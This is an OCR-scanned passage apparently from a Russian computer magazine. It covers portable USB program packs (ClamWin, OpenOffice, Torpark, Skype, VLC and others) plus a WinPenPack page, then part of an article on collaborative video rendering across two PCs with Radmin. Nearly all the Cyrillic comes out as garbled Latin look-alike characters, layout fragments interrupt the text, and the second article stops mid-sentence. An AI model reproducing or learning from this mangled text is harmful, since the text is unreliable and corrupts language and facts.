rpaMMHbix HadopoB ajih 3anncn Ha USB-HaKonme/ib. BoTKHyB 0/ieLU-ApaMB b KOMnbiOTep, 
Bbi CMO>KeTe 3anycTmb Hy>KHoe npi/uio>KeHi/ie M3 yflo6Horo MeHio. 


B 3 T 0 N CTaTbe 

n^Tb yHi/iBepca/ibHbix naxeTOB ot CHIP 

KaK 3 anycKaTb cboi/i nporpaMMbi 
Ha ny>Ki/ix nK 

rioneMy TexHO/ionni U3 He Hy>KHa 
3ani/icb 1/iHfli/iBi/iAya/ibHoro naKeia 


H a caMOM Aejie Bee npome npocTO- 
ro: 6epeTe USB-HaKonHTejib, 

nepenncMBaeTe Ha Hero oahh 
H 3 nporpaMMHBix naxeTOB c npnjiarae- 
Moro k OTOMy HOMepy ah cxa — h Bejin- 
KOJienHtiH HHCTpyMeHT rjw jno6oro kom- 
nbiOTepa c Windows totob. Ochobhoh 
miioc TaKoro pemeHHn b yaodcTBe: noMH- 
mo TmaTejiBHO OTodpaHHbix nporpaMM 
Ka^KAblH H3 IIHTH naKCTOB COAepXCHT npo- 
CToe h noHHTHoe CTapTOBoe MeHio, HenTO 
Bpo^e MeHio «IlycK» (Launchpad) b U3- 
ycTpoiiCTBax. 

CaMO COdOH, BMeCTO ototo mojkho 
npocTO KynHTb U3-HaKonHTejib, r^e 
CTapTOBoe MeHio h nporpaMMbi ycTa- 
HOBjieHbi H3HanajibHO. Ho TexHOJiornn 
U3 HMeeT cboh orpaHnnemni, KOTOpbie 
oco6o He acpHiHHpyiOTCii. Tax, OHa cob- 
MecTHMa tojibko c Windows 2000 hjih 
XP; CTonT U3-HaKonHTejiH HeAemeBo; 
a KOMMepnecKHe nporpaMMbi mna 
Zoom Player npHAeTcn noicynaTb b cne- 
AHaJIbHOH U3-BepCHH. 

Tax hto jiynme Bocnojib3yHTecb HamHM 
BapnaHTOM: odbimioro USB-HaKorarrejin 
6yAeT Bnojme AOCTaTOHHO, h mojkho csko- 
homhtb, ocodeHHO ecjiH KynHTb noAep- 
xaHHbiii (jDjiem-ApaiiB. CoBpeMeHHan 
MOAejib noHaAodHTcn TOJibKO jsjm ocJihc- 
Horo h MyjibTHMeAHHHoro naxeTOB, HTodbi 
xBaTKJio MecTa jsjm nojiHon;eHHoro 0(J)Hca 
HJIH AJIH BHAeO(j)aHJIOB. 

H3iOMHHKa HanTHx USB-naKeTOB b tom, 
hto npH noAKJnoneHHH HaKonHTejin k 


KOMnbiOTepy, Windows BoenpHHHMaeT ero 
KaK KOMnaKT-AHCK. H ecjiH y Bac BKjnone- 
Ha cpyHKHHB aBT03anycKa, OTKpoeTcn okho, 
B KOTOpOM AOCTaTOHHO BbldpATb, Hanpn- 
Mep, «ABapHHHbiii naKeT». nocjie ototo b 
CHCTeMe nonBHTCH noAodne MeHio «nycK», 
H3 KOTOpOrO MOvKHO 6bICTpO 3aiiyCTHTb 
jiiodoe H3 HaxoAHiAHxcn Ha (Jxjiem-ApaHBe 
npHJIOJKeHHH. 


ABapiiMHbiM naxeT 

06bewi: 15 IVISam 

3tot Hadop noMoaceT boc- 
CTaHOBHTb yTpaneHHbie A&H- 
Hbie. PacnaKynTe «ABapHHHbin naKeT» 
c Hamero AHCKa Ha USB-HaKonnTejib. 
flocTaTOHHO caMoii AemeBoii moacjih 
eMKOCTbio ot 15 MdaiiT. nocjie 3Toro 
bbi cMoxeTe A^JiaTb cjieAyiomee: 




ABapMMHbiH naKei 

Coflep>KMT cpeflCTBa f\nn 3a- 
LAMTbl OT BMpyCOB I/I LUni/IOHC- 

Koro no, hmctkm peecTpa 1/1 
yflaneHMfl BpeMeHHbix m He- 
Hy>KHblX CpaMJlOB. 

06ber/i: 15 M6aMT 


OcpMCHbiii naxeT 

COflep>KMT nOJIHbm OCpMC- 
Hbm naKeT, nporpaMMy aba 
C 03AaHM^ PDF, noHTOBbm 
kji i/ieHT, KaneHAapb m nna- 
HMpOBLAMK. 

06beM: 250 M6aMT 
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jin USB-HaKoniflTeneii 


► y^ajiATb umnoHCKoe II O h BHpycw. 

ClamWin Portable rapaHTupoBaHHO 
yHHHToacaeT u;H(i)poBbix BpeAHTenen. 
EAHHCTBeHHBIH MHHyC — aBTOMaTHHCC- 
KHe obHOBJieHHB B 3TOH «M06 hJIBH 0H» 
BepCHH He OCymeCTBJIHIOTCil. 

► IIpoBOAHTb HHCTKy peecTpa. Reg- 
seeker npoBepneT peecTp Ha npe^MeT 
ohih6ok, y^ajineT b HeM ycTapeBinne h 
H eHyxHBie 3anHCH, a TaiQKe npetyiaraeT 
6ojiee 20 napaMeTpoB HacTpoiiKH ajih 
ycKOpeHHH paboTBi Windows. 

► JlenHTb 3apa%eHHbie KOMnbioTepbi. 
McAfee Avert Stinger b MTHOBemie oxa 
H36aBHT Bac OT BHpyCOB h nepBeH. 


► H 36 aBjiaTbca ot Mycopa. Crap Cleaner 
ocBobo^aeT ncecTKHH ahck ot Henc- 
nojiB 3 yeMBix h BpeMeHHBix (JmHJiOB, 
KOTOpBie 3 aMettJHHOT pabOTy CHCTeMBI h 
3 aHHMaiOT MecTO Ha BHHnecTepe. YnTHTe: 
ecjiH Ha BameM KOMnBioTepe ycTaHOB- 
jieH oGbihhbih BapnaHT Crap Cleaner, to 
M obHjiBHan BepCHH He 3 anycTHTCH . 

r. OcjiMCHbiM naxei 

U Ofibeivi: 250 M6anT 

Bciotty hochtb c co 6 oh HoyrGyK 
ynce He moaho. Ham naxeT Office 
Stick cottepHCHT nojiHOiteHHbiH moGhjib- 
hbih o(|)hc Windows ajih jhoGoto nK. 


nOCKOJIBKy 0(J)HCHBie npHJIOXeHHH 
3aHHMaiOT Gojibine MecTa, neM npo- 
TpaMMBI BOCCTaHOBJieHHH AaHHBIX, H K 
TOMy nee Ha USB-HaKonHTejib npH^eTCH 
coxpaHHTb caMH AOKyMeHTbi, coBeTyeM 
He nocKynHTbCH Ha no-HacTonmeMy 
BMecTHTejibHyio Mottejib. KpoMe toto, 
nycTb OHa GytteT coBpeMeHHoir, CTaH- 
ttapTa USB 2.0: Tor^a nporpaMMbi Gyttyr 
3arpyxaTbCH cynjecTBeHHO Gbicrpee, 
neM c USB 1.0. OcjmcHbiH naxeT no3BO- 
jiht 6e3 ocoGoro Tpy^a: 

► nenaTaTb tckctw. Abiword portable 
no HHTep4>eHcy noxonca Ha Microsoft 
Word. Bbi CMOHceTe pettaxTHpoBaTb 




MyjibTMMefliia- 

naKeT 

Coflep>Ki/iT HecKOJibKO ayfluo- 
1/1 BMAeon/ieepoB, My/ibTi/iMe- 
AMMHbm pemp 1/1 nporpaivuviy 
A/ifl noncKa KOAeKOB. 

06bei\/i: 1 r6aMT 


TejiecpoHHbm naxeT 

CoAep>Ki/iT nopTaTHBHyio 
Bepcmo Skype, SIP- 
Softphone, a Tame 
MyjibTMMecceHAwep 
Miranda IM. 

06 beM: 50 MOaiiT 


1 /lHflMBMAyaabHblM 

naKeT 

3anm±mie Ha ctmew-ApanB 
codcTBeHHbm Ha6op jikd6i/i- 
Mbix nporpaMM. 

06beM: b 3aBi/i ci/i MOCTi/i 
ot C0Aep>KaHi/iH 






PRAXIS USB-HaKormTe/ii/i 


npiiMep npuMeHemiji: aBapm Hbm naneT 


CO A.BT033nyCKL 


i = i ^ iwg^r 




IPOD DEN (E:) 


Bcer^a Bbina/iHaTb /pia nporpaMM m wrp: 

yCTaHCBMTb H/1H BblROJIHHTb nporpBMMy 

® 3anycK naKeia Beo-cepttiep 

HajiaTejib He yitaaaH 

jlK>6Gpi HGCHTe/lb - EBpLiaHTbl flEHCTBHH 


ABT03AfiyCK 


Bbidepme b MeHro «ABT03anycK» CTpoxy «3anycx 
naxeia Be6-cepcpep», xax Tonbxo Windows ono3HaeT BCTaBJieH- 
HbiM USB-HaKonmejib 



BbIBOP riPOrPAD/IMbl 


YflodHbm MHTepcpeiic no3BOJiaeT oahmm 
■-S KjiMKOM 3anycTMTb Hy>KHoe npnno>KeHne, Hanpmviep ClamWin 
fljifl yflaneHMR nporpaMM-innnoHOB h BMpycoB 


h co3£aBaTL Word-^OKyMeHTBi, HTML- 
CTpaHHijbi h MHoroe Apyroe. 

► 06opyAOBaTb o(J)hc b jik)6om MecTe. 
B Open Office portable coAepaarrcn 
TeKCTOBLiit pe^aKTOp Writer, nporpaM- 
Ma AJin C03AaHHH npe3eHTau;HH Impress, 
pe^aKTOp (J)opMyji Math, rpacjmuecxHH 
pettaKTOp Draw, 3JiexTpoHHBie TadjnmBi 
Calc h 6a3a AaHHBix Base. 

► Co3AaBaTb PDF-(J)aHJibi. PDFCreator 
co3ttaeT PDF-(J)aHjiBi h Aaxe, ecjin oto 
noTpebyeTcn, ompaBjiiieT nx no ojiexT- 
pOHHon nouTe. 

► IIjiamipoBaTb BCTpenH. EssentialPIM 
ynpaBjineT BCTpenaMH, KOHTaKTaMH, 
cnncKaMH AeJi. 3Ta nporpaMMa HMnop- 
THpyeT AaHHBie H3 Outlook, TreePad n 
Google Calendar. 

► OcymecTBjiaTb nepecMeT b Apyrne 
BajnoTbi. T^e 6 bi bbi hh 6bijih, Currency 
Converter mthobchho nepecnn- 
TaeT MecTHyio BajnoTy b jnodyio 
Apyryio, n HaodopOT. 

► Ee 3 onacHO OTnpaBjiHTb nncb- 
Ma. BaxHyio AeJiOByio nepennc- 
Ky HMeeT cmbicji mn^poBaTB. 
IIo3TOMy mbi BBidpajin cneitn- 
ajiBHyio Bepcnio nonroBoro xjih- 
eHTa Thunderbird, AonojiHeHHyio 
KpnnTorpa(J)HnecKHMH cjiyHxiiH- 
mh EnigMail n GPG. 

► HanoMHHaTb cede o BCTpe^ax. 
KajieHAapB c otkpbitbim koaom 
S unbird, xax n Thunderbird, 
pa3pa6oTaH b Mozilla. Tax hto 
3th Ane nporpaMMBi rapMomm- 
ho AonojiHmoT Apyr Apyra. 


t Be6-cepc|)ep 

Ofibewi: 100 MOaiiT 

B nporpaMMHBin naxeT «Bed- 
cep(J)ep» noMHMO npouero 
Bomjin cneitnajiBHan Bepcnn Firefox, 
xjineHT Gnutella n HTML/CSS-peAax- 
Top NVU. 3 th nporpaMMBi npeAHa- 
3HaneHBi npe^Ae Bcero ajih acjiobbix 
noe3AOx h nyTemecTBHH. Taxon Hadop 
no3BOJineT c jnodoro xoMnBiOTepa: 

► AHOHHMHO BbIXOAHTb B HHTepHCT. 
nporpaMMa Torpark npeACTaBjmeT 
codon rndpHA Firefox 1.5 n xjmeHTa 
cem aHOHHMHon nepeAann AaHHBix 
Tor. H3-3a mn^poBaHnn coeAHHeHnn 
n cpaBHHTejiBHO MeAJieHHOH 3arpy3- 
xn dpay3epa uepe3 nopT USB AOCTyn 
b TjiodajiBHyio ceTB dyAeT He TaxnM 
dbicTpBiM, xax odBinHO, 3aTO donee 
de3onacHBiM. 


► BwdpaTb dojiee dbicTpbm BapiiaHT: 

Torpark jsjm Bac cjinmxoM Me AJinre jieH ? 
B xanecTBe ajiBTepHaTHBBi MoaceTe boc- 
nojiB30BaTBcn Firefox portable. MHOxe- 
ctbo HanncaHHBix jjjm Hero pacmnpeHHH 
no3BOJHHOT AonojiHHTB 3 tot dpay3ep 
yAodHBiMH (J)yHxn;nHMH. KTOMy xce oh 
OHCHB XOMnaXTHBIH . 

► OdMeHHBaTbca (jjaiijiaMH. Limewire 
cjiyxHT AJin odMeHa cjiaHjiaMH b cem 
Gnutella. 3Ty nporpaMMy moxcho 
H acTpoHTB Tax, hto OHa dyAeT hcxatb 
tojibxo onpeAejieHHBie mnBi cjiaHjiOB, 
HanpHMep MP3. B OTjiHHHe ot Apyrnx 
P2P-xjiHeHTOB, Limewire He coAepxHT 
peXJiaMBI H CHHTaeTCH AOCTaTOHHO cxo- 
Pocthbim BapnaHTOM. flaxe ecjin Ha 
xoMnBiOTepe ctoht dpaHAMaysp, odMeH 
(})aHJiaMH He BBI30BeT 3aTpyAHeHHH. 

► 3 arpyataTb (|)aii.ibi Ha cepBep. FTP- 

xmeHT FileZilla noMHMO odbiu- 
hoto FTP-npoTOxojia noAAep- 
3CHBaeT eme Socks 4/5, HTTP, 
SSL h SFTP. 

► Co3AaBaTb caHTbi. B Bed- 
peAaxTOpe NVU 3to oneHB 
npOCTO. C TOHXH 3peHHH HH- 
TepcjieHca oh HnneM He xyxe 

H3BeCTHBIX XOMMepHeCXHX H, 
xax npaBHjio, HeAemeBBix npo- 
rpaMM HanoAodne Frontpage 
hjih Dreamweaver. 

► OdmaTbca b qaTe. fljin odme- 
hhh HMeeTcn Gaim; oh noAAe- 
pxcHBaeT MecceHA^epBi AOL, 
Yahoo!, MSN, ICQ h Jabber. 
Ecjih XOTHTe mH(J)pOBaTB pa3TO- 





HOCMTb c co6om Ha MyjibTMMeflMMHOM HaKonuTeiie. Saieivi Ha 
ny)K0M KOMnbHnepe ohm oiKphiBaroicn b Media Box 
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Bopbi, CKa^aHTe cooTBeTCTByiomHH roia- 
thh no aflpecy www.cypherpunks.ca/otr, 

Tejietj 30 HHbiM naxei 

06beM: 50 M6ain 

MHTepHeT-Tejie(J)OHH5i (VoIP) 
MOviceT 6 bitb AOCTynHa Bcer^a n 
Be3Ae. Heo6xoAHMBie nporpaMMBi bbi 
H an^eTe b HaineM TejiecjDOHHOM naxeTe. 
Hto6bI n0JIB30BaTBCH hmh Ha CBOeM 
HoyT6yKe, noHaAo6iiTC5i Taxace USB- 
HayniHHKH n mhkpo(J)oh. /(jih paGoTBi Ha 
nyxHx KOMHBiOTepax b HHTepHeT-xac[)e 
jiynme npno6pecTH USB-Tejie4)OH. 
HTax, bbi CMOxeTe: 

► Pa3roBapnBaTb 6ecnjiaTHO. C Portable 
Skype bbi MOxeTe 3 bohhtb npHMO H3 
Outlook. KpOMe Toro, nporpaMMa yMeeT 
OTnpaBjiHTB SMS-coo6meHHH. 

► 06 maTbcn rojiocoM no cem. TeamTalk 
no3BOJHieT pa3roBapHBaTB c HeorpaHH- 
neHHBIM KOJIHHeCTBOM co6eceAHHxoB 
no JIOKaJIBHOH CeTH HJIH B HHTepHeTe. 

► 06 maTbcn co bccmh cpa 3 y. Miranda 
IM — 3 to MyjiBTHMecceHA^cep, no3BO- 
Jimomnn CBH3aTBC5I C n0JIB30BaTeJMMH 

ICQ, MSN, Yahoo!, AIM, Google Talk, 
IRC n Jabber. KaneHT oneHB npocTon n 
HMeeT HebpocKHH BHenmnn bha. Ho c 
noMoniBio njiarnHOB moxho nojmo- 
CTBK) H3MeHHTB erO BHeiHHHH BHA H 
paCninpHTB (JiyHKIIHOHaJIBHOCTB. 

h MynbTiiMefluanaKeT 

ip- 06beM: 1 rOatiT 

otbp My3BiKa, (Jdhjibmbi, nrpBi — b 
M yjiBTHMettHHHBin naxeT MBI 
ynaxoBajin Bee, hto hpkho aji n OTABixa 
n pa3BjieneHnn. Ecjih bbi cobnpaeTecB 
3axBaTHTB c co6on b OTnycx bojiBinyio 
KOJIJieKIIHIO (J)HJIBMOB, JiyHHie B03BMHTe 
USB-BHHnecTep. TorAa bbi CMOxeTe 
npHMO b rocTHHHHHOM HOMepe: 

► KoHBepmpoBaTb ayAHOijjopMaTbi. 
Audacity cjipkht ajih npeo6pa30BaHHH 
caMBix pa3HBix (JiopMaTOB, ot nonyjinp- 
Horo MP3 ao OGG Vorbis. B Hen bbi 
CMoaceTe AeJiaTB nnaBHBie nepexoABi 
MeacAy necHHMH n H3MeHHTB 3anncB ao 
Hey3HaBaeMOCTn c noMontBio sctxjTex- 
TOB «3x0» HJIH «CMeHa BBICOTBI TOHa». 
EAHHCTBeHHBin MHHyc nporpaMMBi — 
OHa He noflon^eT ajih peAaxTHpOBaHHH 
(JiannoB c 3antHTon DRM. 

► HacjiaamaTbcn (JinjibMaMH n My3biKon. 

Mediaplayer Classic ycneniHO 3aMeHneT 


Windows Media Player. Oh BOcnpOH 3 - 
boaht npaKTnnecKH jnobBie ayttno- n 
Bna;eo(J)aHjiBi, a Taxxe noTOKOBBie 
MyjIBTHMettHHHBie ttaHHBie. 

► CjiymaTb pamio n CMOTpeTb Tejienepe- 
Aann. VLC Media Player no 3 BOJineT 
cjiyinaTB ayAHOctmHjiBi n CMOTpeTB 
noTOKOBoe BHAeo pa 3 JinnHBix cjiopMa- 
TOB npHMO B CeTH. 

► KonnposaTb My3biKy c KOMnaKT-ancKOB. 

CDex coxpaHneT aaHHBie c ayano CD, 
ecnn tohbko ohh He 3 aianiaeHBi ot 
KOnHpOBaHHH, H KOHBepTHpyeT HX B 

(JiopMaT MP 3 , VQF nan AAC. Ectb 
K oaep LAME MP 3 , flaa apyrnx (JiopMa- 
tob HyacHO BOOpyacHTBca cooTBeTCTBy- 
ioiahm KoaexoM, HO baaroaapa xopo- 
meii OHaaiiH-noMOHiH 3to HecaoacHO. 

► Be3 npo6aeM copneHTHpoBaTbcn b 
HHTep(J)eHce. Multimedia Center — 3to 
nporpaMMHaa oboaouxa c HHTepcjDeii- 
com b ayxe Windows Media Center. 

► HaxoanTb HyjKHbie koackh. Ha i iv>khx 
KOM nBiOTepax Moryr xpaHHTBca ayano- 
hjih BHaeo(J>aHaBi c pacniHpeHHHMH, o 
kotopbix bbi HHKoraa He caBimaan. 
Hnnero CTpamHoro: ymaHTa Medialnfo 
noacxaaceT BaM, xaxon xoAex Heobxo- 
anM ana BOcnpOH 3 BeaeHHa. KaHKHyB no 
xHonxe «Go to the website of this codec», 
bbi nonaaeTe npaMO Ha cahT, c KOTOporo 
Moamo cxanaTB aaHHBin xoAex. 


► naanTb no HHonaaHeTHHaM. OTbeiiTe 
aTaxy npHmeaBijeB! Hmchho 3 to Tpe- 
6 yeTca caeaaTB b apxaae Titanion. 

► PeniaTb roaoBoaoMKH. JIiobuTean 
cyaoxy HairayT b oaHOHMeHHOH npo- 
rpaMMe Sudoku xoMnBiOTepHyio Bep- 
chk) nonyaapHoro pa 3 BaeaeHna. 

MHflMBMflya/ibHbm naxeT 

06 beM: b 3 aBi/icn mocti/i ot coAepwaHi/ia 
Cpean naTunx imth naxeTOB HeT 
toto, hto BaM HyacHO? 3 Ta npobae- 
Ma pemaeMa: Ha CTpaHHijax http:// 
port ableapps . com , www. portablefree ware . 
com h www.combobulate.com bbi HaitaeTe 
MHoacecTBO nporpaMM ana 3 anycxa c 
(jDaem-apaiiBOB. B GonBHiHHCTBe cayaaeB 
aocTaTOHHO cxaaaTB ZlP-c^aiia, h pacna- 
xoBBiBaTB ero Ha USB-HaxonHTeaB. 

Hto 6 bi ao 6 aBHTB b MeHio cboh npHao- 
aceHH a, npocTO xanxHHTe anaacaBi no 
HxoHxe MeHio USB-HaxonHTeaa, pac- 
noaoaceHHoir b cncTeMHOM Tpee h yxa- 
acHTe nyTB x EXE-c^airay HyacHoii npo- 
rpaMMBi. Echh Bama noabopxa, xax b 
H amnx npHMepax, obBeanHeHa xohx- 
peTHoii TeMoii, HcnpaBBTe Taxace (jraita 
autorun. inf b xopHeBOM xaTaaore Haxo- 
rarrejia. OTxponTe ero b BaoxHOTe h 
H 3 MeHHTe yxa 3 aHHBiii TaM xaTaaor, 
HanpHMep «Teae(J)OHHBiH naxeT», Ha 
CBoe ycMOTpeHne. hbj? 


WinPenPacks: ymiBepcanbHoe peuieHMe 


Ha caMTe www.winpenpack.com Bbi 
HaMfleie ipn nporpaMMHbix Ha 6 opa nnx 
USB-Hocme/ieM eMKOCTbio 128, 265 m 
512 M6aPiT. OflHaKO TaM, b otbhhhc ot Ha- 
mero BapMaHTa, nporpaMMbi He otcoptm- 
poBaHbi no 06 /iacTM npMMeHeHi/m. Bbi 
npocm noaynaeTe Bee, hto ToabKO mo>kho 
yMecTMTb Ha cJaieiu-ApaMB. Cbobom, 3tm 
Penpacks peKOMeHAyiOTCn TeM, kto >Ke/iaeT 
MMeTb noA pyKOM KaK mo>kho 6 o^biue pa 3 - 
Hbix nporpaMM Ha bchkmm noKapHbm. 


MHCTan/inuun. YcTaHOBKa naKeTa npo- 
mcxoaht TaK >Ke, KaK m b cjiynae c naKe- 
TaMM CHIP. flBawAbi K/iMKHMTe no CKa- 
naHHOMy EXE-cfiaMBy m yKa>KMTe b 
KanecTBe KaTa/iora USB-HOCMTeab. 
MHTepc|)eMC. B PenpackTO>Ke i/i M eeTcn 
CTapTOBOe MeHK), KOTOpoe OTKpbIBaeTCfl 
k/imkom no MKOHKe Ha riaHeaM 3 aAan. 
CaMOCTomenbHan pa 6 oTa. Bbi TaK>Ke mo- 
>KeTe cocTaBMTb co 6 cTBeHHbm Ha 6 op npM- 
jio>KeHMM c noMOiAbK) winPenPack Launcher. 




Main Menu 


winPenPack. 


X - Softwar. coU.cbon! 




Horn* 

Forum 

Download 

Documentation/Help 

FAQ 

Newsfeeds 
Feed RSS 

Donations 


Annunci Google 

UttraBac Software 
Image Backup & 
Disaster Recovery 
Restore from boot CD 
or USB key 
iwwu.ultrabJO.com 


Download Now! 

[current version : 2.8] 


<3 WinPenPack FLASH 128 
< y WinPenPack FLASH 256 
<3 WinPenPack FLASH 512 
<3 WinPenPack FLASH 
EXPERT 

<3 WinPenPack FLASH 
SCHOOL 

<3 WinPenPack FLASH 
PERSONAL 

<3 WinPenPack FLASH WEB 
NEW! 


WinPenPack is a collection of free and open source portable programs. 

This allows a new way of working with your preferred software on any PC: our 
collection is optimized for use with a USB pen drive, but can also be copied on 
to the hard disk of your PC or Laptop! 

You can choose between some standardized configurations, all small enough to 
fit on your USB Pen Drive. 

Standard configurations include: WinPenPack FLASH 128, V/inPenPack FLASH 
256 and WinPenPack FLASH 512, containing the best open source and 
freeware software found on the Internet, made portable and divided by 
categones: Graphics, Internet, Multimedia, Security, System, Education, Web 
tools. Business and Utilities. 

Beyond these 'Standard pre-made' configurations, you can also choose some 
personalized suites such as WinPenPack FLASH SCHOOL, containing 
educational software only, and WinPenPack FLASH EXPERT, very useful for 
tuitam aHminictratnrs and aduanrarl users 


Select Language 
English 
Sat Language 
Cerca Google 


Google 


We b C w jnPenPac 

Cerca | 


Chatbox 


You must be logged In 
to post comments on 
this site ■ please either 
log in or if you are not 
registered click here to 
signup 
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a6oTKa BMfleo 


06pa6oTKa m KOflMpoBaHMe BMfleo — nowanyM, HaM6o/iee pecypcoeMKMe 3aflaHM, OTHMMaio- 
LflMe Maccy BpeMeHM. Ho ec/iM y Bac nofl pyKOM ecTb flBa KOMnbiOTepa, npoflecc mo>kho 
ycKopMTb. A ec/iM Hawfleicsi noMOiflHMK, 3HaKOMbM c o6pa6oTKOM BMfleo, to Bbmrpbiuj no 
BpeMeHM dyfleT eifle 6onee 3HaHMTenbHbiM. 


B 3T0N CTaTbe 

CoBMecTHa^ pa 6 oia Hafl BMfleo 

PeHflepMHr c Mcno/ib 30 BaHMeM 
MOLflHOCTeM flByX KOMnbfOTepOB 


n pou;ecc o 6 pa 6 oTKH BHfleoMaTe- 
pnajia flocraTOUHO TpyfloeMKHH. 
PeHflepMHr, MOHTaac m aBTopuHr 
DVD OTHHMaiOT MHOrO CHJI H BpeMeHM. 
Bjiaroflapn odBeflMHeHHio KOMiiBioTe- 
pOB b jiOKajiBHyio ceTB Bee onepaijHH 
moxho ocymecTBjiiiTB napajuiejiBHo h 
ycKOpHTB pa 6 oTy Hafl npoeKTOM. 

C 03 flaflHM ceTB M 3 flByX KOMIIBIOTepOB. 
IlepBBIH yCJIOBHO Ha 30 BeM «MOIflHBIH». 
Oh 6 yfleT npeBoexoflMTB no TaKTOBOH 
nacTOTe, odbeMy naMirra h pa 3 Mepy acec- 
TKOrO flHCKa BTOpOH I1K, KOTOpBIH MBI 
o 6 o 3 HaHHM xax «cjia 6 BiH». Ha moiahom 
nK flOJixeH 6 bitb ycTaHOBjieH nrany- 
IflHH DVD-npHBOfl H yCTpOHCTBO 3 aXBa- 
TaBHfleo. EcTecTBeHHO, Ha Kaacflon H3 
ManiHH HyacHBi ceTeBBie miaTBi, noflfle- 
pxcHBaiomHe ckopoctb ao 100 M 6 ht/c. 
CoeflHHeHHe 6 yfleT ocymecTBjiHTBCH noc- 
peflCTBOM Kpocc-Ka 6 ejiH. 

nonroTOBKa 

nepBOHanajiBHO HeodxoflHMO Ha Kaac- 
flOM KOMnBioTepe hoakjiiouhtb ceTeBBie 
flHCKH. /],jih 3Toro cjieflyeT otkpbitb aoc- 
Tyn k HeoGxoflHMOMy pa3flejiy Ha acecT- 
kom flHCKe, a Taiace pa3peniHTB H3MeHe- 
Hne cpanjiOB h nanoK no ceTH. flncKaM 


cjieflyeT npHCBanBaTb oaho h to xce hmh 
hjih 6 yKBy. npnneM «poflHtie» HMeHa 
flHCKOB TaiOKe flOJHKHBI COBnaflaTB. Ecjih 
MBI Ha MOIflHOM KOMnBIOTepe yCTaHOBH- 
JIH CeTeBOH flHCK Z flJIH flHCKa C Ha CJia- 
6 om nK, to Taicyio ace onepaflHio mbi 
flOJDKHBI nOBTOpHTB Ha BTOpOH MaiHHHe. 

XpaHHTB o6pa6aTBiBaeMBie cpainiBi 
jiymne Ha 6ojiee ckopocthom h HMeio- 
meM Gojibhihh pa3Mep flHCKe. B HarneM 
cjiynae 3 to ahck moiahoto KOMnBiOTepa. 

/Jjih paGoTBi mbi HcnojiB 30 BajiH Video 
Editor H 3 Ulead MediaStudio 8 h npo- 
rpaMMy Radmin, flaiomyio nojiHBiH 
KOHTpojiB Hafl yflajieHHOH ManiHHOH. 
BnfleopeflaKTOp ycTaHOBjieH h 3 anymeH 
Ha flByx ManiHHax. Radmin flOJiaceH 
6 bitb ycTaHOBjieH KaK KjiHeHT h cepBep 
h 3 anymeH KaK CHCTeMHaa cjiyacda Ha 
o 6 ohx KOMnBiOTepax. 

Enna nepe,n HanajiOM padoTBi peKO- 
MeHflyeM npOBepHTB, HyacflaiOTca jih 
B aiHH BHHHeCTepBI B fleCppameHTaAHH, 
TaK KaK CKOpOCTB paGOTBI XeCTKOTO 
flHCKa GyfleT oahhm H 3 pemaioiflnx cpaK- 
TopoB b padoTe c BMfleo no ceTH. 

KoonepaTMBHan pa6oia 

Y Hac ecTB cppameHT BMfleo fljiMTejiBHOc - 
tbk) nojiTopa naca. HeodxoflMMO co 3 flaTB 
KpaCOHHBie THTpBI, CfleJiaTB MOHTaXC, B 
HeKOTOpBIX MeCTaX HaJIOJKHTB My 3 BIKy, 
Tfle-TO flOdaBHTB TOJIOCOBBie KOMMeHTa- 
pHH. HaCTB M 3 3 TOTO BnOJIHe MOJKHO Cfle- 
JiaTB b peacMMe coBMecTHOH padoTBi. 


MOHTaJK. B JH 060 M M 3 peflaKTOpOB 
OTKpBiBaeM cpanji c BMfleo h acjimm ero no 
CBoeMy ycMOTpeHHio. ,ZI,jih 3 toto BpeMeH- 
Hyio mxajiy jiymne yBejiHHHTB ao MaKcn- 
MyMa (Change Ruler Unit). Ha flamiOM 
3 Tane, hto 6 bi corjiacoBaTB fleHCTBHH, 
MOJKHO B 0 Cn 0 JIB 30 BaTBC 5 I npOTpaMMOH 
Radmin. Mbi 3 anycTHjiH ee Ha cjiadon 
MamHH e, npeflBapHTejiBHO BBiCTaBHB b 
TJ iaBHOM MeHIO rajiomcy HanpoTHB «Full 
Control». Ha KaacflOM KOMnBiOTep e Heod- 
XOflMMO OCTaBHTB Ha MOHTaXCHOM CTOJie 
tojibko Ty nacTB BMfleo, KOTOpaa dyfleT 
odpadaTBiBaTBca Ha otom MamHHe, 
ocTajiBHoe cjieflyeT npocTO BBipe 3 aeTca. 

flajiee ocTaeTca CfleJiaTB cboio nacTB 
npoeKTa. fljia npocMOTpa mtotoboto 
pe 3 yjiBTaTa cjieflyeT CKjieMTB flBe nojio- 
BHHKH. Ha cjiadoM KOMnBioTepe npeflBa- 


CHIP BbIBOfl 

■ 06pa6oTKa BMfleo Ha flByx CBA3aH- 
Hbix ceTbfo KOMnbfOTepax flaeT cy- 
iflecTBeHHoe npeMMymecTBO b cko- 
POCTM M n03B0J15ieT C3K0H0MMTb 

AparofleHHbie MMHyTbi m nacbi 
fl/in 1 fla/ibHeMiuero TBopnecTBa. 
rip M COBMeCTHOM M fla>Ke OflMHOH- 
HOM pa 60 Te 3K0H0MMA BpeMeHM, 
BK/lfOHafl 0 KO H H 3Te J1 b H bl Pi peHfle- 
pMHr, MO>KeT cocTaBAHTb 20 - 40 % 

B 3aBMCM MOCTM OT KOHCjDMrypaflMM 
Mcno/ib3yeMbix cmctcm . 
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pHTejibHO coxpaHneM npoeKT Ha ceTe- 
bom ancKe, 3 aTeM Ha mohjhom nK aejia- 
eM BCTaBKy: «Insert Project File». 

CjieayeT yuHTBraaTB, hto npn HMnopTe 
roTOBoro npoeKTa bbi yBHanre tojibko to, 
hto 6 bdio Ha Main Timeline (maBHOM 
MOHTaacHOM CTOJie). K TOMy xe npoeKT 
HMnopTHpyeTcn xax eanHoe aejioe — bbi 
H e yBH^HTe MHOTOHHCJieHHBIX 3ByKOBBIX 

aopoxeK, 3 (|)(J)eKTOB nepexoaa h npounx 
(JiparMeHTOB, co 3 aaHHBix BaMH. ByayT 
jihihb Bnaeo- h ay^HOTpeK. Ecjih y pado- 
Taiomero 3 a cjiadBiM KOMHBioTepoM 
nenoBexa 3 aaaua caejiaTB hcckojibko 

OTaeJIBHBIX pOJIHKOB, HanpHMep THT- 
pOB hjih KjiHnoB, co3aaHHBix b Smart 
Compositor, to KaacaBiii Taxoit pojihk 
flJin nocjieayioiaero MHoroKpaTHoro 
HCn0JIB30BaHHB HeodxOaHMO COXpaHHTB 
KaK OT^ejiBHBiii npoeKT no a cbohm yHH- 
KaJIBHBIM HMeHeM. 

AyztfioTpeK. HepeaKo B 03 HHKaeT Heod- 

XOAHMOCTB «nOAHHCTHTB» OpHTHHaJIB- 
Hyio 3 ByKOByio aopo>KKy: y 6 paTB jinmHHe 
